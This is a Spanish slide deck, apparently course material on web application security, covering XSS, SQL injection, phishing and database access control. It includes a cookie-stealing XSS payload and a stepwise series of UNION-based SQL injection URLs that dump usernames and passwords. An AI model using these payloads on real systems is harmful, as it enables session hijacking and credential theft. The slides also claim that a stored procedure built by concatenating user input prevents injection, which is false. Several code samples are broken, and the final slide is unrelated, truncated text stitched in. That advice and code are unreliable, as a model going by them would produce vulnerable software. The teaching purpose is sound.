  • 19. AMENAZAS DE SEGURIDAD Cross-site scripting (XSS).  Otro caso es copiar en el value de una etiqueta <input>. Por ejemplo en los buscadores en sitios web, al realizar una búsqueda a través de ellos, lo habitual es que el término introducido se copie dentro del campo del buscador.  Otras veces puede copiar código dentro de los comentarios HTML, comúnmente en páginas mal programadas que dejan mensajes dentro del código fuente HTML: ";alert("¡Hola Mundo!");//
  • 20. AMENAZAS DE SEGURIDAD Cross-site scripting (XSS).  Para determinar si un campo, ya sea un parámetro desde la URL o un campo de texto donde sea posible escribir, es vulnerable a XSS introduzca una serie de caracteres para comprobar si existe algún filtro anti-XSS. Los caracteres a introducir serían:
  • 21. AMENAZAS DE SEGURIDAD Cross-site scripting (XSS).  Comilla simple (‘)  Comilla doble (“)  Símbolo de mayor que (>)  Símbolo de menor que (<)  Barra (/)  Espacio ( )
  • 22. AMENAZAS DE SEGURIDAD Cross-site scripting (XSS). Si puede introducir estos caracteres existe un alto porcentaje de posibilidades de encontrar algún fallo de XSS. Sin embargo no se puede asegurar su existencia de forma totalmente definitiva, siempre existe la posibilidad de encontrar algún otro tipo de filtro que impida introducir palabras clave como script, onload o javascript.
  • 23. AMENAZAS DE SEGURIDAD <script> d = "&to = eviluser&enviar = Enviar&mensaje = Mi cookie es: "+document.cookie; if(window.XMLHttpRequest) {x=new XMLHttpRequest();} else {x=new ActiveXObject('Microsoft.XMLHTTP');} x.open("POST","func/send.php",true); x.setRequestHeader('Content- Type','application/x-www-form-urlencoded'); x.setRequestHeader('Content-Length',d.length); x.send(d); </script>
  • 24. AMENAZAS DE SEGURIDAD Se declara una variable d que contiene los valores &to, &enviar y &mensaje, que son las variables que se envían en la aplicación cuando manda un mensaje. Detalle importante a observar es el contenido de la variable &mensaje, document.cookie, un objeto del DOM de la página que contiene todas las cookies asociadas al dominio actual.
  • 25. AMENAZAS DE SEGURIDAD Se codifica un if...else, que asegura la creación de un objeto de tipo XMLHttpRequest tanto en navegadores Internet Explorer como Firefox o similares. Este objeto es el usado para realizar las peticiones AJAX. Con open() se establece las condiciones que se a utilizarán para enviar el formulario. Será enviado por POST a la url func/send.php. Mediante true se indica que la petición será realizada de manera asíncrona, esto es, el navegador no se quedará “congelado” mientras se envía el mensaje.
  • 26. AMENAZAS DE SEGURIDAD El llamado a la función setRequestHeader() se usan para establecer cabeceras HTTP que hagan que el servidor web entienda que lo que se está enviando es un formulario, aunque el usuario no lo haya rellenado. Se invoca send() pasándole como parámetro la variable d. Con esto el navegador realiza las acciones definidas anteriormente y, si todo ha salido bien, el usuario afectado “enviará” su cookie de sesión.
  • 27. AMENAZAS DE SEGURIDAD La mayoría de los ataques a aplicaciones web ocurren a través de:  Cross-site scripting (XSS).  Inyección SQL.  Phishing. Estos ataques logran su cometido debido a una codificación deficiente y la falta de desinfección de las entradas y salidas de la aplicación web. Método de infiltración de código intruso que usa una vulnerabilidad informática presente en una aplicación en el nivel de validación de las entradas para realizar operaciones sobre una base de datos.
  • 28. AMENAZAS DE SEGURIDAD La mayoría de los ataques a aplicaciones web ocurren a través de:  Cross-site scripting (XSS).  Inyección SQL.  Phishing. Estos ataques logran su cometido debido a una codificación deficiente y la falta de desinfección de las entradas y salidas de la aplicación web. Su origen radica en la incorrecta comprobación o filtrado de las variables usadas en un programa que contiene, o bien genera, código SQL.
  • 29. AMENAZAS DE SEGURIDAD La mayoría de los ataques a aplicaciones web ocurren a través de:  Cross-site scripting (XSS).  Inyección SQL.  Phishing. Estos ataques logran su cometido debido a una codificación deficiente y la falta de desinfección de las entradas y salidas de la aplicación web. Ocurre cuando se inserta o "inyecta" código SQL invasor dentro del código SQL programado, para alterar el funcionamiento normal del programa y lograr así que se ejecute la porción de código "invasor" incrustado, en la base de datos.
  • 30. AMENAZAS DE SEGURIDAD La mayoría de los ataques a aplicaciones web ocurren a través de:  Cross-site scripting (XSS).  Inyección SQL.  Phishing. Estos ataques logran su cometido debido a una codificación deficiente y la falta de desinfección de las entradas y salidas de la aplicación web. try {$dbh = new PDO($dsn, $user, $password);} catch (PDOException $y) {$log = $y->getMessage(); /* grabar el log */} $login = $_POST['login']; $contrasenia = $_POST['contrasenia']; $sth = $dbh->prepare("SELECT * FROM usuarios “ . "WHERE login = login AND contrasenia = :contrasenia"); $sth->bindParam(':login', $login); $sth->bindParam(':contasenia', $contrasenia); $sth->ejecute(); if( $sth->rowCount() ) echo "resultado: true"; else echo "resultado: false";
  • 31. AMENAZAS DE SEGURIDAD La mayoría de los ataques a aplicaciones web ocurren a través de:  Cross-site scripting (XSS).  Inyección SQL.  Phishing. Estos ataques logran su cometido debido a una codificación deficiente y la falta de desinfección de las entradas y salidas de la aplicación web. $login = $_POST['login']; $contrasenia=$_POST[‘contrasenia’]; $query = array(); $query[] = "CALL testarLogin(@valor, " $login."', " $contrasenia."')"; $query[] = "SELECT @valor"; $mysqli->query($query[0]); $res = $mysqli->query($query[1]); $valor = $res->fetch_object(); $nombre = "@valor"; if( $valor->$nombre ) echo "resultado: true"; else echo "resultado: false"; $mysqli->close(); ?>
  • 32. AMENAZAS DE SEGURIDAD  Inyección SQL. Una aplicación cifra los datos de las tarjetas de créditos en una base de datos para prevenir que los mismos sean expuestos a usuarios finales. Sin embargo, la base de datos está configurada para descifrar automáticamente consultas en las columnas de tarjetas de crédito, permitiendo que un fallo de inyección por SQL pueda listar todas las tarjetas de crédito en claro.
  • 33. AMENAZAS DE SEGURIDAD  Inyección SQL. El sistema debería haber sido configurado para permitir que sólo las aplicaciones de back-end pudieran descifrar esos datos y no las aplicaciones web de front-end.
  • 34. AMENAZAS DE SEGURIDAD  Inyección SQL. En una aplicación web PHP, la transferencia por GET pasa parámetros vía url: http://www.dominio.com/[nombre_pagina]. php?[nombre_variable]=[valor] Después del “ ?” hay una variable con su valor, que fue consultado en la base de datos, está explícito en la URL, entonces, podría retornar datos de la base de datos con la agrupación de comandos SQL.
  • 35. AMENAZAS DE SEGURIDAD  Inyección SQL. Consultar los detalles de un producto desde: http://www.dominio.com/detalles.php?pro ducto_id = 158 Éste probablemente tendrá un código PHP que recibirá un valor en una variable: $id = $_GET[“ id” ]; Ese valor sería pasado a otra variable que contenga el código que será responsable de la consulta SQL, como por ejemplo:
  • 36. AMENAZAS DE SEGURIDAD  Inyección SQL. $query = mysql_query(?SELECT * FROM producto WHERE producto_id = “ $id’” ); $query recibe la ejecución de la consulta en el MYSQL, la cual selecciona todos los registros de la tabla producto con producto_id igual al valor de $id. Consulta que se ejecuta explícitamente en el código, exponiendo la vulnerabilidad del sistema y arriesgando la base de datos.
  • 37. AMENAZAS DE SEGURIDAD  Inyección SQL. http://www.dominio.com/detalles.php?product o_id = 1’ Si se insertan ‘(comillas simples) al final de la url y la página retornar un error diciendo: “ You have an error on your SQL syntax ; check the manual that corresponds to your MYSQL server version for the’”, significa que es vulnerable.
  • 38. AMENAZAS DE SEGURIDAD  Inyección SQL. Considerando la url anterior, se agrupará un comando para la verificación de la cantidad de columnas existentes en la tabla. Con ORDER BY, es posible especificar cualquier número de columnas http://www.dominio.com/detalles.php?product o_id = 1’ ORDER BY 1,2,3,4 (...).
  • 39. AMENAZAS DE SEGURIDAD  Inyección SQL. Probando desde 1 hasta n, cuando en “ n” sucede un error, se obtiene la información n- 1 que se refiere al número de columnas de la tabla consultada, en el caso que el número sea 5, si sucede el error, el valor correspondiente al número de columnas que pueden ser usadas por los demás comandos será 4.
  • 40. AMENAZAS DE SEGURIDAD  Inyección SQL. Con la función UNION los ataques son lo suficientemente eficaces para retornar datos, es posible entonces retornar el conjunto de registros de la base de datos con: http://www.dominio.com/detalles.php?pro ducto_id =1 UNION ALL SELECT 1,2,3,4
  • 41. AMENAZAS DE SEGURIDAD  Inyección SQL. Por ello, @@version es capaz de informar sobre la versión del sistema gestor de bases de datos, para así usar la sintaxis correcta: http://www.dominio.com/detalles.php?pro ducto_id =1 UNION ALL SELECT 1, 2, 3, @@version
  • 42. AMENAZAS DE SEGURIDAD  Inyección SQL. http://www.dominio.com/detalles.php?pro ducto_id =1 UNION ALL SELECT 1, 2, 3, column_name from information_schema.columns— Lo anterior devolverá el nombre de las columnas y tablas del esquema principal de la base de datos.
  • 43. AMENAZAS DE SEGURIDAD  Inyección SQL. Si los privilegios de usuario no están configurados correctamente, el atacante conseguirá retornar los nombre de tablas y columnas y así hacer la selección de los datos que necesitará para proseguir con la inyección SQL.
  • 44. AMENAZAS DE SEGURIDAD  Inyección SQL. Para que finalmente sean retornados los datos necesarios para acceder al sistema y también modificar la base de datos, el atacante hará una nueva secuencia de comandos, donde podrá obtener los nombres de usuarios, contraseñas y datos de otras tablas que componen el esquema que está siendo atacado.
  • 45. AMENAZAS DE SEGURIDAD  Inyección SQL. Para retornar los datos de la tabla usuario, como ejemplo, utilizan los códigos siguientes, y si logran tener éxito, el atacante conseguirá manipular el sistema y la base de datos, con libre acceso y más intenciones.
  • 46.  http://www.dominio.com/detalles.php?pr oducto_id =1 UNION ALL SELECT 1, 2, 3, column_name from information_schema.column WHERE table_name=’usuario’—  http://www.dominio.com/detalles.php?pr oducto_id =1 UNION ALL SELECT 1, 2, 3, concat(username,0x 8b,password)from admin/*  http://www.dominio.com/detalles.php?pr oducto_id=1/**/union/**/all/**/select/**/0x 76,concat_ws(0x 8b,username,password),44/*-  http://www.dominio.com/detalles.php?pr oducto_id =1 UNION ALL SELECT 1, 2, 3, column_name from information_schema.column WHERE table_name=’usuario’—  http://www.dominio.com/detalles.php?pr oducto_id =1 UNION ALL SELECT 1, 2, 3, concat(username,0x 8b,password)from admin/*  http://www.dominio.com/detalles.php?pr oducto_id=1/**/union/**/all/**/select/**/0x 76,concat_ws(0x 8b,username,password),44/*-
  • 47. AMENAZAS DE SEGURIDAD La mayoría de los ataques a aplicaciones web ocurren a través de:  Cross-site scripting (XSS).  Inyección SQL.  Phishing. Estos ataques logran su cometido debido a una codificación deficiente y la falta de desinfección de las entradas y salidas de la aplicación web. Conocido como suplantación de identidad, es un modelo de abuso informático que se comete mediante el uso de un tipo de ingeniería social, caracterizado por intentar adquirir información confidencial de forma fraudulenta.
  • 48. AMENAZAS DE SEGURIDAD Una página es vulnerable a XSS cuando aquello que se le envía al servidor (un comentario, un cambio en un perfil, una búsqueda, etc.) se ve posteriormente mostrado en la página de respuesta.
  • 49. AMENAZAS DE SEGURIDAD Esto es, cuando se escribe un comentario en una página y puede leer posteriormente el mensaje, modifica su perfil de usuario y el resto de usuarios puede verlo o se realiza una búsqueda y se muestra un mensaje: “No se han encontrado resultados para <texto>”, se está incluyendo dentro de la página el mismo texto que nosotros hemos introducido.
  • 50. AMENAZAS DE SEGURIDAD Una vez detectada una zona de la aplicación que al recibir texto procedente del usuario lo muestra en la página, es el momento de determinar si es posible utilizar esa zona como punto de ataque de XSS. Para ello es posible insertar un pequeño código Javascript que muestra un mensaje de alerta para descubrir rápidamente si se está actuando en la línea correcta de ataque.
  • 51. AMENAZAS DE SEGURIDAD Determinados filtros Anti-XSS pueden imposibilitar el uso de ciertos caracteres a la hora de introducir el código Javascript. Por ejemplo, las comillas dobles o los caracteres de “mayor que” y “menor que” suelen estar prohibidos.
  • 52. AMENAZAS DE SEGURIDAD Categorías para fallos de XSS:  Permanentes: Su denominación se debe al hecho de que queda almacenada en algún lugar, habitualmente una base de datos SQL, y se va a mostrar a cualquier usuario que visite el sitio.  No permanentes: se introduce como <texto> el código Javascript. La diferencia es que en esta ocasión los efectos de la acción no son permanentes.
  • 53. AMENAZAS DE SEGURIDAD Un ataque de XSS puede tomar el control sobre el navegador del usuario afectado y realizar acciones en la aplicación web. Si se ha logrado que un usuario administrador ejecute un Javascript, las posibilidades de actuación maliciosa son muy superiores. Sería posible borrar todas las noticias de una página o generar una cuenta de administrador con los datos encontrados.
  • 54. AMENAZAS DE SEGURIDAD Haciendo uso de las técnicas de phishing, mediante Javascript, podría modificar el comportamiento y la apariencia de una página web. Esto permite crear un formulario de login falso o redirigir el submit de uno existente hacia un dominio controlado por otro servidor.
  • 55. AMENAZAS DE SEGURIDAD Es posible realizar un ataque de denegación de servicios distribuidos (distributed dennial of services, DDoS). Para ello se forzará mediante código Javascript que los navegadores hagan uso intensivo de recursos muy costosos en ancho de banda o capacidad de procesamiento de un servidor de forma asíncrona.
  • 56. AMENAZAS DE SEGURIDAD Un gusano XSS es un código Javascript que se propaga dentro un sitio web o entre páginas de Internet aprovechando un fallo XSS en la descripción personal de los usuarios de una red social. En esta situación un usuario malintencionado podría crear código Javascript para copiar el código del gusano al perfil del usuario que visita otro perfil infectado y que adicionalmente realizase algún tipo de modificación en los perfiles afectados.
  • 57. AMENAZAS DE SEGURIDAD Las únicas limitaciones la constituye la imposibilidad de ejecutar código fuera del navegador, dado que el ambiente sobre el que se ejecuta no permite el acceso a ficheros del sistema, y a las propias funcionalidades que ofrezca el sitio web objeto del posible ataque.
  • 58. TECNOLOGÍA DE SEGURIDAD. Mientras que la seguridad se basa fundamentalmente en las personas y los procesos, existen varias soluciones técnicas a considerar cuando se diseña, construye y prueban aplicaciones web seguras. A un alto nivel incluyen:
  • 59. TECNOLOGÍA DE SEGURIDAD. Soluciones de alto nivel son:  Black box.  White box.  Fuzzing.  Escáner de seguridad de aplicaciones web (escáner de vulnerabilidad.)  Firewalls de aplicación web (WAF.)  Cracking de contraseña.
  • 60. TECNOLOGÍA DE SEGURIDAD. Soluciones de alto nivel son:  Black box.  White box.  Fuzzing.  Escáner de seguridad de aplicaciones web (escáner de vulnerabilidad.)  Firewalls de aplicación web (WAF.)  Cracking de contraseña. Herramientas de pruebas:  Escáneres de seguridad de aplicaciones web.  Escáneres de vulnerabilidad  Software de prueba de penetración.
  • 61. TECNOLOGÍA DE SEGURIDAD. Soluciones de alto nivel son:  Black box.  White box.  Fuzzing.  Escáner de seguridad de aplicaciones web (escáner de vulnerabilidad.)  Firewalls de aplicación web (WAF.)  Cracking de contraseña. Herramientas de pruebas:  Analizadores estáticos de código fuente.
  • 62. TECNOLOGÍA DE SEGURIDAD. Soluciones de alto nivel son:  Black box.  White box.  Fuzzing.  Escáner de seguridad de aplicaciones web (escáner de vulnerabilidad.)  Firewalls de aplicación web (WAF.)  Cracking de contraseña. Herramientas utilizadas para pruebas de entrada.
  • 63. TECNOLOGÍA DE SEGURIDAD. Fuzzing es una técnica de pruebas de software, a menudo automatizado o semiautomatizado, que proporciona datos inválidos, inesperados o aleatorios a las entradas de un programa de ordenador. Entonces se monitorean las excepciones como caídas, aserciones de código erróneas, o para encontrar potenciales filtraciones de memoria.
  • 64. DESARROLLO SEGURO. El DBA es el responsable superior de declarar las reglas dentro del SGBD. Este es el responsable de conceder o eliminar privilegios, crear o excluir usuarios, y atribuir de un nivel de seguridad a los usuarios del sistema, de acuerdo con la política de la empresa.
  • 65. DESARROLLO SEGURO. El control de flujo de la información es un mecanismo que previene que la información fluyan por canales secretos y violen la política de seguridad al alcanzar usuarios no autorizados. Este regula la distribución o flujo de información entre objetos accesibles.
  • 66. DESARROLLO SEGURO. Un flujo entre el objeto A y el objeto B sucede cuando un programa lee valores de A y escribe valores en B. Los controles de flujo tienen la finalidad de verificar si las informaciones contenidas en algunos objetos no fluyen explícita o implícitamente hacia objetos de menor protección. De esa manera, un usuario no puede obtener indirectamente en B aquello que este o esta no pueda obtener directamente de A.
  • 67. DESARROLLO SEGURO. La codificación de datos es una medida de control final, utilizada para proteger datos sigilosos que se transmiten por medio de algún tipo de red de comunicación. También se puede usar para ofrecer protección adicional para que partes confidenciales de una base de datos no sean accedidas por usuarios no autorizados.
  • 68. DESARROLLO SEGURO. Para eso, los datos están codificados a través de algún algoritmo de codificación. Así, un usuario no autorizado tendrá una gran dificultad para descifrarlos, pero los usuarios autorizados recibirán claves para descifrar esos datos. La criptografía permite disfrazar el mensaje para que, aún con el desvío de la transmisión, el mensaje no sea revelado.
  • 69. DESARROLLO SEGURO. Gestionar usuarios y al esquema de la base de datos donde cada base de datos tiene una lista de nombres de usuarios. Deben estar implementados diferentes perfiles de usuario para diferentes tareas en la base de datos, con el enfoque que cada aplicación o usuario tiene su necesidad de acceso. Puede proteger los perfiles con contraseña, y además usar cotas para restringir el espacio en el disco que será utilizado por los usuarios o aplicativos.
  • 70. DESARROLLO SEGURO. Método de acceso y seguridad multinivel, donde el usuario no tiene un término medio. Tiene o no privilegios. Normalmente usado en BD que clasifican datos de usuarios, donde es necesario un nivel más de seguridad. Se utiliza en sistemas gubernamentales, militares o de inteligencia, así como industriales y corporativas.
  • 71. DESARROLLO SEGURO. Acceso basado en roles, donde estos son creados de acuerdo con los diferentes cargos en una organización y los usuarios están asociados a roles según sus responsabilidades y cualificaciones. Se pueden designar varios individuos a un mismo rol. Los privilegios de seguridad comunes a un rol se conceden a su nombre y cualquier individuo designado para ese rol automáticamente los tendrá. Los usuarios pueden moverse fácilmente de un rol a otro.
  • 72. DESARROLLO SEGURO. Los usuarios pueden moverse fácilmente entre roles. Los cambios en los entornos computacionales, la instalación de sistemas y eliminación de aplicaciones antiguas, modifican sólo el conjunto de permisos atribuidos a los diferentes roles, sin afectarlos. La separación de tareas es un requisito importante. La exclusión mutua de roles es un método que puede implementarse.
  • 73. DESARROLLO SEGURO. Control de acceso utilizando triggers para crear mecanismos de seguridad más complejos que pueden ser disparados cada vez que se llama un evento o que pueden ser disparados antes o después del comando especificado con el objetivo de proveer mayor rigor en el control de la seguridad. Si el comando ejecutado por el usuario no es validado por los Triggers, se activa un error para impedir modificaciones indebidas.
  • 74. DESARROLLO SEGURO. SELECT * FROM Usuario WHERE usu_usuario = '" $login."' AND usu_contrasenia = '" $contrasenia."'; Cuando se utiliza la política de seguridad de insertar todas las consultas en STORED PROCEDURES, la ejecución se limitará al objeto de la base de datos, es decir, no existe una consulta directa a la base de datos por parte del sistema.
  • 75. DESARROLLO SEGURO. El objeto STORED PROCEDURE crea un filtro entre la consulta y la base de datos. En la estructura del STORED PROCEDURE, existe la consulta, pero la codificación de esta no está explícita en el código del sistema y, así, se realiza una llamada al objeto pasando hacia este los valores de las variables de entrada:
  • 76. DESARROLLO SEGURO. CALL TCC_Usuario_SELECT('".$usuario."'," $contrasenia."') Usando este código, tanto los ataques vía formularios de credenciales como también vía URL quedarán prevenidos, protegiendo así la base de datos y sus registros.
  • 77. DESARROLLO SEGURO. Con view es posible permitir acceso, conceder privilegios, ocultar líneas y columnas de información confidenciales o restringir en la tabla original. Los privilegios y concesiones están definidos en la vista y no afectan a la tabla base, estando el acceso de los usuarios delimitado por la vista, la cual se genera creando un subconjunto de datos en la tabla referenciada. La opción With Verification da mayor seguridad porque no permite modificar la tabla sin tener los privilegios dentro de la vista.
  • 78. BIBLIOGRAFÍA. Desarrollo seguro de aplicaciones web. Ariel Ayala Montes. 2014
  • 79. AMENAZAS DE SEGURIDAD Puede interesar que los elementos de una lista estén ordenados: una vez que finalizó la inscripción en un curso, tener a los listados de los alumnos por orden de llegada puede ser muy incómodo, siempre será preferible tenerlos ordenados por número para realizar cualquier comprobación. Se obtiene una referenc <section> en el docum contenido con un eleme ahí, el usuario solo verá la pantalla. Se obtiene una ref elemento <section> e reemplaza su contenid <p>. A partir de ahí, el elemento <p> en la pan